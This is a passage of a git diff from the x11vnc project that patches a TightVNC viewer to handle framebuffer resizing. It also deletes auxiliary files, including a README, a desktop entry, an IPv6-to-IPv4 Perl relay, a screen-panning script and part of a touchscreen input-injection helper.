-- BitmapPad(dpy), 0);
--
-- image->data = malloc(image->bytes_per_line * image->height);
-- if (!image->data) {
-- fprintf(stderr,"malloc failed\n");
-- exit(1);
-- }
-- }
-+ create_image();
- }
-
--
- /*
- * DesktopInitAfterRealization does things which require the X windows to
- * exist. It creates some GCs and sets the dot cursor.
-@@ -460,3 +463,70 @@
- break;
- }
- }
-+
-+static void reset_image(void) {
-+ if (UsingShm()) {
-+ ShmCleanup();
-+ } else {
-+ if (image && image->data) {
-+ free(image->data);
-+ /* see manpage XDestroyImage may also free data, so we skip and have a tiny leak instead */
-+ if (0) XDestroyImage(image);
-+ image = NULL;
-+ }
-+ }
-+ create_image();
-+ XFlush(dpy);
-+}
-+
-+void ReDoDesktop(void) {
-+ int w, h, x, y, dw, dh;
-+
-+ if (appData.fullScreen) {
-+ if (image && image->data) {
-+ int len;
-+ int h = image->height;
-+ int w = image->width;
-+ len = image->bytes_per_line * image->height;
-+ /* black out window first: */
-+ memset(image->data, 0, len);
-+ XPutImage(dpy, XtWindow(desktop), gc, image, 0, 0, 0, 0, w, h);
-+ XFlush(dpy);
-+ }
-+ XtResizeWidget(desktop, si.framebufferWidth, si.framebufferHeight, 0);
-+ XSync(dpy, False);
-+ usleep(100*1000);
-+ FullScreenOn();
-+ XSync(dpy, False);
-+ usleep(100*1000);
-+ reset_image();
-+ return;
-+ }
-+
-+ dw = appData.wmDecorationWidth;
-+ dh = appData.wmDecorationHeight;
-+
-+ w = si.framebufferWidth;
-+ h = si.framebufferHeight;
-+
-+ if (w + dw >= dpyWidth) {
-+ w = dpyWidth - dw;
-+ }
-+ if (h + dh >= dpyHeight) {
-+ h = dpyHeight - dh;
-+ }
-+
-+ XtVaSetValues(toplevel, XtNmaxWidth, w, XtNmaxHeight, h, NULL);
-+
-+ XtVaSetValues(desktop, XtNwidth, si.framebufferWidth,
-+ XtNheight, si.framebufferHeight, NULL);
-+
-+ x = (dpyWidth - w - dw)/2;
-+ y = (dpyHeight - h - dh)/2;
-+
-+ XtResizeWidget(desktop, si.framebufferWidth, si.framebufferHeight, 0);
-+
-+ XtConfigureWidget(toplevel, x + dw, y + dh, w, h, 0);
-+
-+ reset_image();
-+}
---- vnc_unixsrc.orig/vncviewer/fullscreen.c 2003-10-09 05:23:49.000000000 -0400
-+++ vnc_unixsrc/vncviewer/fullscreen.c 2006-07-27 14:36:06.000000000 -0400
-@@ -85,10 +85,13 @@
- Dimension oldViewportWidth, oldViewportHeight, clipWidth, clipHeight;
- Position viewportX, viewportY;
-
-+ Bool fsAlready = appData.fullScreen, toobig = False;
-+
- appData.fullScreen = True;
-
- if (si.framebufferWidth > dpyWidth || si.framebufferHeight > dpyHeight) {
-
-+ toobig = True;
- XtVaSetValues(viewport, XtNforceBars, True, NULL);
- XtVaGetValues(viewport, XtNwidth, &oldViewportWidth,
- XtNheight, &oldViewportHeight, NULL);
-@@ -129,6 +132,7 @@
- reparenting our window to the root. The window manager will get a
- ReparentNotify and hopefully clean up its frame window. */
-
-+if (! fsAlready) {
- XtVaSetValues(toplevel, XtNoverrideRedirect, True, NULL);
-
- XReparentWindow(dpy, XtWindow(toplevel), DefaultRootWindow(dpy), 0, 0);
-@@ -164,10 +168,22 @@
-
- XtManageChild(viewport);
-
-- /* Now we can set "toplevel" to its proper size. */
-+} else {
-+ XSync(dpy, False);
-+}
-
-+ /* Now we can set "toplevel" to its proper size. */
- XtResizeWidget(toplevel, toplevelWidth, toplevelHeight, 0);
-
-+if (fsAlready) {
-+ XtResizeWidget(viewport, viewportWidth, viewportHeight, 0);
-+ if (! toobig) {
-+ XtVaSetValues(viewport, XtNforceBars, False, NULL);
-+ }
-+ XMoveWindow(dpy, XtWindow(viewport), viewportX, viewportY);
-+ XSync(dpy, False);
-+}
-+
- /* Set the popup to overrideRedirect too */
-
- XtVaSetValues(popup, XtNoverrideRedirect, True, NULL);
---- vnc_unixsrc.orig/vncviewer/rfbproto.c 2004-03-11 13:14:39.000000000 -0500
-+++ vnc_unixsrc/vncviewer/rfbproto.c 2006-07-25 21:51:20.000000000 -0400
-@@ -177,6 +177,9 @@
- sig_rfbEncodingPointerPos, "Pointer position update");
- CapsAdd(encodingCaps, rfbEncodingLastRect, rfbTightVncVendor,
- sig_rfbEncodingLastRect, "LastRect protocol extension");
-+
-+ CapsAdd(encodingCaps, rfbEncodingNewFBSize, rfbTightVncVendor,
-+ sig_rfbEncodingNewFBSize, "New FB size protocol extension");
- }
-
-
-@@ -729,6 +732,7 @@
- Bool requestCompressLevel = False;
- Bool requestQualityLevel = False;
- Bool requestLastRectEncoding = False;
-+ Bool requestNewFBSizeEncoding = True;
-
- spf.type = rfbSetPixelFormat;
- spf.format = myFormat;
-@@ -806,6 +810,10 @@
- if (se->nEncodings < MAX_ENCODINGS && requestLastRectEncoding) {
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingLastRect);
- }
-+
-+ if (se->nEncodings < MAX_ENCODINGS && requestNewFBSizeEncoding) {
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingNewFBSize);
-+ }
- }
- else {
- if (SameMachine(rfbsock)) {
-@@ -849,6 +857,7 @@
- }
-
- encs[se->nEncodings++] = Swap32IfLE(rfbEncodingLastRect);
-+ encs[se->nEncodings++] = Swap32IfLE(rfbEncodingNewFBSize);
- }
-
- len = sz_rfbSetEncodingsMsg + se->nEncodings * 4;
-@@ -1038,6 +1047,16 @@
- }
- continue;
- }
-+ if (rect.encoding == rfbEncodingNewFBSize) {
-+ fprintf(stderr,"New Size: %dx%d at (%d, %d)\n",
-+ rect.r.w, rect.r.h, rect.r.x, rect.r.y);
-+ si.framebufferWidth = rect.r.w;
-+ si.framebufferHeight = rect.r.h;
-+ fprintf(stderr, "si: %d %d\n", si.framebufferWidth, si.framebufferHeight);
-+ ReDoDesktop();
-+
-+ continue;
-+ }
-
- if ((rect.r.x + rect.r.w > si.framebufferWidth) ||
- (rect.r.y + rect.r.h > si.framebufferHeight))
---- vnc_unixsrc.orig/vncviewer/shm.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/vncviewer/shm.c 2006-07-26 23:30:42.000000000 -0400
-@@ -41,6 +41,10 @@
- }
- }
-
-+Bool UsingShm() {
-+ return needShmCleanup;
-+}
-+
- static int
- ShmCreationXErrorHandler(Display *dpy, XErrorEvent *error)
- {
---- vnc_unixsrc.orig/vncviewer/vncviewer.h 2004-03-11 13:14:40.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer.h 2006-07-26 23:31:25.000000000 -0400
-@@ -162,6 +162,8 @@
- extern void CopyDataToScreen(char *buf, int x, int y, int width, int height);
- extern void SynchroniseScreen();
-
-+extern void ReDoDesktop();
-+
- /* dialogs.c */
-
- extern void ServerDialogDone(Widget w, XEvent *event, String *params,
-@@ -243,6 +245,7 @@
-
- extern XImage *CreateShmImage();
- extern void ShmCleanup();
-+extern Bool UsingShm();
-
- /* sockets.c */
-
---- vnc_unixsrc.orig/vncviewer/vncviewer.c 2004-01-13 09:22:05.000000000 -0500
-+++ vnc_unixsrc/vncviewer/vncviewer.c 2006-07-27 19:00:25.000000000 -0400
-@@ -57,6 +57,11 @@
- }
- }
-
-+ if (argc > 1 && strstr(argv[1], "-h") == argv[1]) {
-+ usage();
-+ return 0;
-+ }
-+
- /* Call the main Xt initialisation function. It parses command-line options,
- generating appropriate resource specs, and makes a connection to the X
- display. */
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README b/x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README
deleted file mode 100644
index a211377..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README
+++ /dev/null
@@ -1,16 +0,0 @@
-This is where we keep the 3rd party source zip and tar.gz files used
-to build this package.
-
-www.stunnel.org source 488512 Jul 25 15:09 stunnel-4.14.tar.gz
-http://stunnel.mirt.net
-www.tightvnc.com source 2182134 Jul 25 15:11 tightvnc-1.3dev7_unixsrc.tar.gz
-www.tightvnc.com windows
- standalone viewer binary: 209149 Jul 25 15:10 tightvnc-1.3dev7_x86_viewer.zip
-
-To save space they may not be included in the package you downloaded.
-The should be included in the "ssvnc_all-<version>.zip" file.
-Go to the websites indicated above or contact me if you cannot find them.
-
-The stunnel.patched.tar vnc_unixsrc_vncviewer.patched.tar
-files are tarballs of the original sources above with patches applied
-(used by build.unix script when patching fails).
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop b/x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop
deleted file mode 100644
index 2ff26b6..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop
+++ /dev/null
@@ -1,11 +0,0 @@
-[Desktop Entry]
-# Copy this file to "/usr/shared/applications/ssvnc.desktop" then SSVNC will
-# appear in desktop menus (once they are updated; e.g. update-menus command).
-Name=SSL/SSH VNC Viewer
-Comment=SSVNC - access remote VNC desktops
-Exec=ssvnc -noenc
-Icon=computer
-Terminal=false
-Type=Application
-StartupWMClass=Ssvnc.tcl
-Categories=Network;RemoteAccess;
diff --git a/x11vnc/misc/inet6to4 b/x11vnc/misc/inet6to4
deleted file mode 100755
index 0067a99..0000000
--- a/x11vnc/misc/inet6to4
+++ /dev/null
@@ -1,420 +0,0 @@
-#!/usr/bin/perl
-#
-# inet6to4: Act as an ipv6-to-ipv4 relay for tcp applications that
-# do not support ipv6.
-#
-# Usage: inet6to4 <ipv6-listen-port> <ipv4-host:port>
-# inet6to4 -r <ipv4-listen-port> <ipv6-host:port>
-#
-# Examples: inet6to4 5900 localhost:5900
-# inet6to4 8080 web1:80
-# inet6to4 -r 5900 fe80::217:f2ff:fee6:6f5a%eth0:5900
-#
-# The -r option reverses the direction of translation (e.g. for ipv4
-# clients that need to connect to ipv6 servers.) Reversing is the default
-# if this script is named 'inet4to6' (e.g. by a symlink.)
-#
-# Use Ctrl-C to stop this program. You can also supply '-c n' as the
-# first option to only handle that many connections.
-#
-# Also set the env. vars INET6TO4_LOOP=1 or INET6TO4_LOOP=BG
-# to have an outer loop restarting this program (BG means do that
-# in the background), and INET6TO4_LOGFILE for a log file.
-# Also set INET6TO4_VERBOSE to verbosity level and INET6TO4_WAITTIME
-# and INET6TO4_PIDFILE (see below.)
-#
-
-#-------------------------------------------------------------------------
-# Copyright (c) 2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# inet6to4 is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# inet6to4 is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with inet6to4; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#-------------------------------------------------------------------------
-
-my $program = "inet6to4";
-
-# Set up logging:
-#
-if (exists $ENV{INET6TO4_LOGFILE}) {
- close STDOUT;
- if (!open(STDOUT, ">>$ENV{INET6TO4_LOGFILE}")) {
- die "$program: $ENV{INET6TO4_LOGFILE} $!\n";
- }
- close STDERR;
- open(STDERR, ">&STDOUT");
-}
-select(STDERR); $| = 1;
-select(STDOUT); $| = 1;
-
-# interrupt handler:
-#
-my $looppid = '';
-my $pidfile = '';
-my $listen_sock = ''; # declared here for get_out()
-#
-sub get_out {
- print STDERR "$_[0]:\t$$ looppid=$looppid\n";
- close $listen_sock if $listen_sock;
- if ($looppid) {
- kill 'TERM', $looppid;
- fsleep(0.2);
- }
- unlink $pidfile if $pidfile;
- exit 0;
-}
-$SIG{INT} = \&get_out;
-$SIG{TERM} = \&get_out;
-
-# pidfile:
-#
-sub open_pidfile {
- if (exists $ENV{INET6TO4_PIDFILE}) {
- my $pf = $ENV{INET6TO4_PIDFILE};
- if (open(PID, ">$pf")) {
- print PID "$$\n";
- close PID;
- $pidfile = $pf;
- } else {
- print STDERR "could not open pidfile: $pf - $! - continuing...\n";
- }
- delete $ENV{INET6TO4_PIDFILE};
- }
-}
-
-####################################################################
-# Set INET6TO4_LOOP=1 to have this script create an outer loop
-# restarting itself if it ever exits. Set INET6TO4_LOOP=BG to
-# do this in the background as a daemon.
-
-if (exists $ENV{INET6TO4_LOOP}) {
- my $csl = $ENV{INET6TO4_LOOP};
- if ($csl ne 'BG' && $csl ne '1') {
- die "$program: invalid INET6TO4_LOOP.\n";
- }
- if ($csl eq 'BG') {
- # go into bg as "daemon":
- setpgrp(0, 0);
- my $pid = fork();
- if (! defined $pid) {
- die "$program: $!\n";
- } elsif ($pid) {
- wait;
- exit 0;
- }
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- close STDIN;
- if (! $ENV{INET6TO4_LOGFILE}) {
- close STDOUT;
- close STDERR;
- }
- }
- delete $ENV{INET6TO4_LOOP};
-
- if (exists $ENV{INET6TO4_PIDFILE}) {
- open_pidfile();
- }
-
- print STDERR "$program: starting service at ", scalar(localtime), " master-pid=$$\n";
- while (1) {
- $looppid = fork;
- if (! defined $looppid) {
- sleep 10;
- } elsif ($looppid) {
- wait;
- } else {
- exec $0, @ARGV;
- exit 1;
- }
- print STDERR "$program: re-starting service at ", scalar(localtime), " master-pid=$$\n";
- sleep 1;
- }
- exit 0;
-}
-if (exists $ENV{INET6TO4_PIDFILE}) {
- open_pidfile();
-}
-
-use IO::Socket::INET6;
-use strict;
-use warnings;
-
-# some settings:
-#
-my $verbose = 1; # set to 0 for no messages, 2 for more.
-my $killpid = 1; # does kill(2) at end of connection.
-my $waittime = 0.25; # time to wait between connections.
-my $reverse = 0; # -r switch (or file named inet4to6)
-
-if (exists $ENV{INET6TO4_VERBOSE}) {
- $verbose = $ENV{INET6TO4_VERBOSE};
-}
-if (exists $ENV{INET6TO4_WAITTIME}) {
- $waittime = $ENV{INET6TO4_WAITTIME};
-}
-
-# process command line args:
-
-if (! @ARGV || $ARGV[0] =~ '^-+h') { # -help
- open(ME, "<$0");
- while (<ME>) {
- last unless /^#/;
- next if /usr.bin.perl/;
- $_ =~ s/# ?//;
- print;
- }
- exit;
-}
-
-my $cmax = 0;
-if ($ARGV[0] eq '-c') { # -c
- shift;
- $cmax = shift;
-}
-
-if ($ARGV[0] eq '-r') { # -r
- shift;
- $reverse = 1;
-} elsif ($0 =~ /inet4to6$/) {
- $reverse = 1;
-}
-
-my $listen_port = shift; # ipv6-listen-port
-my $connect_to = shift; # ipv4-host:port
-
-die "no listen port or connect-to-host:port\n" if ! $listen_port || ! $connect_to;
-
-# connect to host:
-#
-my $host = '';
-my $port = '';
-if ($connect_to =~ /^(.*):(\d+)$/) {
- $host = $1;
- $port = $2;
-}
-die "invalid connect-to-host:port\n" if ! $host || ! $port;
-
-setpgrp(0, 0);
-
-# create listening socket:
-#
-my %opts;
-$opts{Listen} = 10;
-$opts{Proto} = "tcp";
-$opts{ReuseAddr} = 1;
-if ($listen_port =~ /^(.*):(\d+)$/) {
- $opts{LocalAddr} = $1;
- $listen_port = $2;
-}
-$opts{LocalPort} = $listen_port;
-
-if (!$reverse) {
- # force ipv6 interface:
- $opts{Domain} = AF_INET6;
- $listen_sock = IO::Socket::INET6->new(%opts);
-} else {
- $listen_sock = IO::Socket::INET->new(%opts);
- if (! $listen_sock && $! =~ /invalid/i) {
- warn "$program: $!, retrying with AF_UNSPEC:\n";
- $opts{Domain} = AF_UNSPEC;
- $listen_sock = IO::Socket::INET6->new(%opts);
- }
-}
-if (! $listen_sock) {
- die "$program: $!\n";
-}
-
-# for use by the xfer helper processes' interrupt handlers:
-#
-my $current_fh1 = '';
-my $current_fh2 = '';
-
-# connection counter:
-#
-my $conn = 0;
-
-# loop forever waiting for connections:
-#
-while (1) {
- $conn++;
- if ($cmax > 0 && $conn > $cmax) {
- print STDERR "last connection ($cmax)\n" if $verbose;
- last;
- }
- print STDERR "listening for connection: $conn\n" if $verbose;
- my ($client, $ip) = $listen_sock->accept();
-
- if ($client && !$reverse && $port == $listen_port) {
- # This happens on Darwin 'tcp46'
- if ($client->peerhost() =~ /^::ffff:/) {
- print STDERR "closing client we think is actually us: ",
- $client->peerhost(), "\n";
- close $client;
- $client = undef;
- }
- }
- if (! $client) {
- # to throttle runaways
- fsleep(2 * $waittime);
- next;
- }
- print STDERR "conn: $conn -- ", $client->peerhost(), " at ", scalar(localtime), "\n" if $verbose;
-
- # spawn helper:
- #
- my $pid = fork();
- if (! defined $pid) {
- die "$program: $!\n";
- } elsif ($pid) {
- wait;
- # to throttle runaways
- fsleep($waittime);
- next;
- } else {
- # this is to avoid zombies:
- close $listen_sock;
- if (fork) {
- exit 0;
- }
- setpgrp(0, 0);
- handle_conn($client);
- }
-}
-
-exit 0;
-
-sub handle_conn {
- my $client = shift;
-
- my $start = time();
-
- print STDERR "connecting to: $host:$port\n" if $verbose;
-
- my $sock = '';
- my %opts;
- $opts{PeerAddr} = $host;
- $opts{PeerPort} = $port;
- $opts{Proto} = "tcp";
- if (!$reverse) {
- $sock = IO::Socket::INET->new(%opts);
- } else {
- $opts{Domain} = AF_INET6;
- $sock = IO::Socket::INET6->new(%opts);
- }
- if (! $sock) {
- warn "$program: $!, retrying with AF_UNSPEC:\n";
- $opts{Domain} = AF_UNSPEC;
- $sock = IO::Socket::INET6->new(%opts);
- }
-
- if (! $sock) {
- close $client;
- die "$program: $!\n";
- }
-
- $current_fh1 = $client;
- $current_fh2 = $sock;
-
- # interrupt handler:
- #
- $SIG{TERM} = sub {print STDERR "got sigterm\[$$]\n" if $verbose; close $current_fh1; close $current_fh2; exit 0};
-
- # spawn another helper and transfer the data:
- #
- my $parent = $$;
- if (my $child = fork()) {
- xfer($sock, $client, 'S->C');
- if ($killpid) {
- fsleep(0.5);
- kill 'TERM', $child;
- }
- } else {
- xfer($client, $sock, 'C->S');
- if ($killpid) {
- fsleep(0.75);
- kill 'TERM', $parent;
- }
- }
-
- # done.
- #
- if ($verbose > 1) {
- my $dt = time() - $start;
- print STDERR "dt\[$$]: $dt\n";
- }
- exit 0;
-}
-
-# transfers data in one direction:
-#
-sub xfer {
- my($in, $out, $lab) = @_;
- my ($RIN, $WIN, $EIN, $ROUT);
- $RIN = $WIN = $EIN = "";
- $ROUT = "";
- vec($RIN, fileno($in), 1) = 1;
- vec($WIN, fileno($in), 1) = 1;
- $EIN = $RIN | $WIN;
- my $buf;
-
- while (1) {
- my $nf = 0;
- while (! $nf) {
- $nf = select($ROUT=$RIN, undef, undef, undef);
- }
- my $len = sysread($in, $buf, 8192);
- if (! defined($len)) {
- next if $! =~ /^Interrupted/;
- print STDERR "$program\[$lab/$conn/$$]: $!\n";
- last;
- } elsif ($len == 0) {
- print STDERR "$program\[$lab/$conn/$$]: "
- . "Input is EOF.\n";
- last;
- }
-
- if ($verbose > 4) {
- # verbose debugging of data:
- syswrite(STDERR , "\n$lab: ", 6);
- syswrite(STDERR , $buf, $len);
- }
-
- my $offset = 0;
- my $quit = 0;
- while ($len) {
- my $written = syswrite($out, $buf, $len, $offset);
- if (! defined $written) {
- print STDERR "$program\[$lab/$conn/$$]: "
- . "Output is EOF. $!\n";
- $quit = 1;
- last;
- }
- $len -= $written;
- $offset += $written;
- }
- last if $quit;
- }
- close($in);
- close($out);
-}
-
-# sleep a fraction of a second:
-#
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
diff --git a/x11vnc/misc/panner.pl b/x11vnc/misc/panner.pl
deleted file mode 100755
index 344beee..0000000
--- a/x11vnc/misc/panner.pl
+++ /dev/null
@@ -1,117 +0,0 @@
-#!/usr/bin/perl
-#
-# panner.pl: start up x11vnc in '-clip' mode viewing a small (WxH)
-# rectangular region of the screen. Allow the viewer user
-# to 'pan' around the display region by moving the mouse.
-#
-# Remote interaction with applications, e.g. clicking a
-# button though the VNC viewer, will be very difficult.
-# This may be useful in a 'demo' mode where the user sitting
-# at the physical display is the only one moving the mouse.
-# Depending on your usage the following x11vnc options may
-# be useful: -nonap
-#
-# Usage: panner.pl WxH <x11vnc-args> (e.g. -display ...)
-# or panner.pl WxH:0.05 <x11vnc-args> (e.g. 0.05 is polling time in secs.)
-
-use strict;
-
-my $WxH = shift;
-my $poll_time;
-
-# split off poll time:
-#
-($WxH, $poll_time) = split(/:/, $WxH);
-my ($W, $H) = split(/x/, $WxH);
-
-$poll_time = 0.1 unless $poll_time ne '';
-
-# set to x11vnc command (e.g. full PATH)
-#
-my $x11vnc = "x11vnc";
-
-# check if display was given:
-#
-my $query_args = "";
-for (my $i=0; $i < @ARGV; $i++) {
- if ($ARGV[$i] eq '-display') {
- $query_args = "-display $ARGV[$i+1]";
- }
-}
-
-# find the size of display and the current mouse position:
-my %v;
-vset("DIRECT:wdpy_x,wdpy_y,pointer_x,pointer_y,pointer_same");
-
-# set a -clip argument based on the above:
-#
-my $clip = '';
-clip_set();
-$clip = "${W}x${H}+0+0" unless $v{pointer_same};
-
-# launch x11vnc with -clip in the background:
-#
-my $cmd = "$x11vnc -clip $clip -bg " . join(" ", @ARGV);
-print STDERR "running: $cmd\n";
-system $cmd;
-
-# user can hit Ctrl-C or kill this script to quit (and stop x11vnc)
-#
-sub quit {
- system("$x11vnc $query_args -R stop");
- exit 0;
-}
-
-$SIG{INT} = \&quit;
-$SIG{TERM} = \&quit;
-
-# loop forever waiting for mouse position to change, then shift -clip:
-#
-my $clip_old = $clip;
-while (1) {
- fsleep($poll_time);
- vset("pointer_x,pointer_y,pointer_same");
- next unless $v{pointer_same};
- clip_set();
- if ($clip ne $clip_old) {
- system("$x11vnc $query_args -R clip:$clip");
- $clip_old = $clip
- }
-}
-
-exit 0;
-
-# short sleep:
-#
-sub fsleep {
- my ($time) = @_;
- select(undef, undef, undef, $time) if $time;
-}
-
-# set the -clip string, making sure view doesn't go off edges of display:
-#
-sub clip_set {
- my $x = int($v{pointer_x} - $W/2);
- my $y = int($v{pointer_y} - $H/2);
- $x = 0 if $x < 0;
- $y = 0 if $y < 0;
- $x = $v{wdpy_x} - $W if $x + $W > $v{wdpy_x};
- $y = $v{wdpy_y} - $H if $y + $H > $v{wdpy_y};
- $clip = "${W}x${H}+$x+$y";
-}
-
-# query x11vnc for values, put results in the %v hash:
-#
-sub vset {
- my $str = shift;
- my $out = `$x11vnc $query_args -Q $str 2>/dev/null`;
- chomp $out;
- foreach my $pair (split(/,/, $out)) {
- $pair =~ s/^a..=//;
- my ($k, $v) = split(/:/, $pair, 2);
- if ($k ne '' && $v ne '') {
- print STDERR "k=$k v=$v\n" if $ENV{DEBUG};
- $v{$k} = $v;
- }
- }
-}
diff --git a/x11vnc/misc/qt_tslib_inject.pl b/x11vnc/misc/qt_tslib_inject.pl
deleted file mode 100755
index d69d174..0000000
--- a/x11vnc/misc/qt_tslib_inject.pl
+++ /dev/null
@@ -1,1064 +0,0 @@
-#!/usr/bin/perl
-#
-# qt_tslib_inject.pl:
-#
-# touch screen input injection tool for use with x11vnc.
-#
-# example usage:
-#
-# x11vnc ... -rawfb console -pipeinput ./qt_tslib_inject_input.pl -env INJECT_OPTIONS=cal=/etc/pointercal
-#
-# See options below.
-#
-# tested on qtmoko (neo freerunner) with tslib.
-
-#
-# Copyright (c) 2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# qt_tslib_inject.pl is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# qt_tslib_inject.pl is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with qt_tslib_inject.pl; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#
-
-set_constants();
-
-# one can set these env. vars. before running:
-
-# the device file to inject the events into:
-#
-$dev = $ENV{INJECT_DEV};
-$dev = "/dev/input/event1" unless $dev;
-
-# options, see below. useful: cal=/etc/pointercal
-#
-$options = $ENV{INJECT_OPTIONS};
-$options = '' unless $options ne '';
-
-$debug = 0; # enable debugging output:
-$pressure = 1; # level of touch pad pressure for click.
-$btn_touch = 0; # send BTN_TOUCH on clicks instead of pressure changes.
-$absalways = 0; # send a zero pressure absolute position event whenever mouse moves.
-$dragskip = 0; # how often to skip injecting motion event while dragging.
-
-$a_xform = ''; # tslib's calibration coefficients.
-@a = ();
-
-%keycmds = (); # user defined hotkeys to run external commands.
-
-# separate the options by comma, e.g. pressure=5,cal=/etc/pointercal
-
-if ($options =~ /absalways/i) {
- # set to always send a zero pressure ABS event when mouse moves
- $absalways = 1;
-}
-if ($options =~ /btn_touch/i) {
- # send BTN_TOUCH on clicks.
- $btn_touch = 1;
-}
-if ($options =~ /pressure=(\d+)/i) {
- # level of touchpad pressure to use on a touch.
- $pressure = $1;
-}
-if ($options =~ /dragskip=(\d+)/i) {
- # when dragging with pressure, skip this many events.
- $dragskip = $1;
-}
-if ($options =~ /cal=([^,]+)/i) {
- # tslib's /etc/pointercal linear transform:
- $a_xform = $1;
- if (-f $a_xform) {
- $a_xform = `head -n 1 '$a_xform'`;
- chomp $a_xform;
- $a_xform =~ s/^\s*//;
- $a_xform =~ s/\s*$//;
- }
-}
-if ($options =~ /keycmds=([^,]+)/i) {
- # format: keysym1:command1+keysym2:command2+...
- # e.g.: keycmds=F6:date+F7:'./x11vnc-0.9.10 -connect ./ctl.txt -R reset'
- my $str = $1;
- if (-f $str && open(F, "<$str")) {
- $str = '';
- while (<F>) {
- chomp;
- $_ =~ s/^\s*//;
- $_ =~ s/\s*$//;
- next if /^#/;
- next if $_ eq "";
- $str .= '+' if $str ne '';
- $str .= $_;
- }
- close F;
- }
- foreach my $part (split(/\+/, $str)) {
- my ($key, $cmd) = split(/:/, $part, 2);
- if ($key !~ /^\s*$/) {
- $keycmds{$key} = $cmd;
- }
- }
-}
-if ($options =~ /debug=(\d+)/i) {
- # debug printout
- $debug = $1;
-} elsif ($options =~ /debug/i) {
- $debug = 1;
-}
-
-# end of the top part that user should read and understand
-# for setting options, etc.
-######################################################################
-
-$start = time();
-
-# open the device for writing:
-#
-$modes = $O_WRONLY;
-printf("open modes: 0x%x\n", $modes) if $debug;
-
-sysopen(FD, $dev, $modes) || die "$dev: $!";
-
-my $curr_mask = 0;
-my $curr_x = 0;
-my $curr_y = 0;
-my $down_count = 0;
-
-# read input events from x11vnc through STDIN:
-#
-while (<>) {
- chomp;
- if (/^Pointer/) {
- my ($p, $client, $x, $y, $mask, $hint) = split(' ', $_, 6);
- do_pointer($client, $x, $y, $mask, $hint);
- } elsif (/^Keysym/) {
- my ($k, $client, $down, $keysym, $name, $hint) = split(' ', $_, 6);
- do_keysym($client, $down, $keysym, $name, $hint);
- }
-}
-
-close(FD);
-
-exit(0);
-
-sub do_keysym {
- # qtmoko/neo does not support keystroke input. so these will be ignored.
- # (one possibility would to be enable qtmoko to read from /dev/tty0.
- # but the injection mechanism would need to be modified.)
- my ($client, $down, $keysym, $name, $hint) = @_;
-
- $ENV{DO_KEYSYM} = "$client $down $keysym $name $hint";
-
- # one could implement his own 'hot keys' here.
-
- # process any keycmds:
- if (%keycmds && (exists $keycmds{$name} || exists $keycmds{ALL})) {
- my $cmd = $keycmds{$name};
- if (!exists $keycmds{$name}) {
- $cmd = $keycmds{ALL};
- print STDERR "keycmds: $name/ALL: running: $cmd\n";
- system("$cmd");
- } elsif ($down) {
- print STDERR "keycmds: $name: running: $cmd\n";
- system("$cmd");
- }
- return;
- }
-
- $name = "XK_$name";
- my $nolookup = 0;
- if (! exists $key_lookup{$name}) {
- $nolookup = 1;
- } elsif (! defined $key_lookup{$name}) {
- $nolookup = 2;
- } elsif ($key_lookup{$name} =~ /^\s*$/) {
- $nolookup = 3;
- }
- if ($nolookup) {
- print STDERR "do_keysym: key not implemented-$nolookup $down $keysym $name $hint.\n" if $debug;
- return;
- }
-
- print STDERR gettime() . " do_keysym: $name\n" if $debug;
- do_key($key_lookup{$name}, $down);
-}
-
-sub do_pointer {
- my ($client, $x, $y, $mask, $hint) = @_;
- my $x2 = $x;
- my $y2 = $y;
- if ($a_xform ne '') {
- # this is tslib's /etc/pointercal format.
- if (! @a) {
- # -528 33408 -3417516 -44200 408 40292028 56541
- @a = split(' ', $a_xform);
- foreach my $a (@a) {
- $a += 0.0;
- }
- }
- # this is the inverse of the tslib transformation:
- #
- $x2 = ( $a[4] * ($a[6] * $x - $a[2]) - $a[1] * ($a[6] * $y - $a[5]) )
- / ( $a[4] * $a[0] - $a[1] * $a[3]);
- $y2 = ( $a[0] * ($a[6] * $y - $a[5]) - $a[3] * ($a[6] * $x - $a[2]) )
- / ( $a[4] * $a[0] - $a[1] * $a[3]);
- $x2 = int($x2);
- $y2 = int($y2);
- }
-
- print STDERR gettime() . " do_pointer $x $y (=> $x2 $y2) $mask $hint.\n" if $debug;
-
- if (! $btn_touch) {
- if ($curr_mask == 0 && $mask == 0) {
- do_abs($x2, $y2, 0) if $absalways;
- } elsif ($curr_mask == 0 && $mask != 0) {
- do_abs($x2, $y2, $pressure);
- $down_count = 0;
- } elsif ($curr_mask != 0 && $mask == 0) {
- do_abs($x2, $y2, 0);
- } elsif ($curr_mask != 0 && $mask != 0) {
- $down_count++;
- if ($dragskip > 0) {
- if ($down_count % $dragskip == 0) {
- do_abs($x2, $y2, $pressure);
- } else {
- print STDERR "dragskip $down_count $dragskip\n" if $debug;
- }
- } else {
- do_abs($x2, $y2, $pressure);
- }
- }
- } else {
